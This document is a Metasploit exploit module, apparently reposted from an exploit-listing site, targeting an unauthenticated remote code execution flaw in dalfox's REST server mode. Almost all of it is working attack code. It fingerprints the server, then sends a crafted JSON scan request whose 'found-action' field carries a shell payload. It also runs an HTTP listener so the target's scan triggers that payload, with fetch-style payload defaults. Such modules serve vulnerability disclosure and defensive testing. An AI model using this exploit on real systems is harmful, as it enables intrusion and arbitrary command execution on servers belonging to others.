Share
## https://sploitus.com/exploit?id=PACKETSTORM:224334
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HttpServer
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Dalfox Found-Action Deserialization RCE',
            'Description' => %q{
              When dalfox version <= 2.12.0 is started in REST API server mode (dalfox server),
              the server binds to 0.0.0.0:6664 by default and requires no API key unless the operator explicitly passes --api-key.
              Because model.Options - including FoundAction and FoundActionShell - is deserialized directly from attacker-supplied JSON in POST /scan,
              and because dalfox.Initialize explicitly propagates those two fields into the final scan options without stripping them,
              any unauthenticated caller who can reach the server port can supply an arbitrary shell command that the dalfox process will execute on the host whenever a scan finding is triggered.
            },
            'Author' => [
              'Emmanuel David',   # Vulnerability discovery and PoC
              'Takahiro Yokoyama' # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2026-45087'],
              ['GHSA', 'v25v-m36w-jp4h'],
            ],
            'Targets' => [
              [
                'Linux Command', {
                  'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd
                }
              ],
            ],
            'DefaultOptions' => {
              'FETCH_DELETE' => true,
              'SRVPORT' => 8081,
              'RPORT' => 6664
            },
            'DefaultTarget' => 0,
            'Payload' => {
              'BadChars' => '"'
            },
            'Stance' => Msf::Exploit::Stance::Aggressive,
            'DisclosureDate' => '2026-05-07',
            'Notes' => {
              'Stability' => [ CRASH_SAFE, ],
              'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
              'Reliability' => [ REPEATABLE_SESSION, ]
            }
          )
        )
    
        register_advanced_options([
          OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])
        ])
      end
    
      def check
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'swagger/index.html')
        })
        return Exploit::CheckCode::Unknown('Could not detect the dalfox.') unless res&.code == 200
    
        Exploit::CheckCode::Appears('Dalfox detected.')
      end
    
      def on_request_uri(cli, request)
        send_response(cli, "<html><body>#{request.resource}</body></html>")
      end
    
      def primer
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'scan'),
          'headers' => { 'Content-Type' => 'application/json' },
          'data' => {
            'url' => get_uri,
            'options' => {
              'found-action' => payload.encode,
              'found-action-shell' => 'bash',
              'use-headless' => false,
              'worker' => 1,
              'limit-result' => 1
            }
          }.to_json
        })
        fail_with(Failure::Unknown, 'Unexpected server reply.') unless res&.code == 200
      end
    
      def exploit
        Timeout.timeout(datastore['HTTPDELAY']) { super }
      rescue Timeout::Error
        # When the server stops due to our timeout, this is raised
      end
    
    end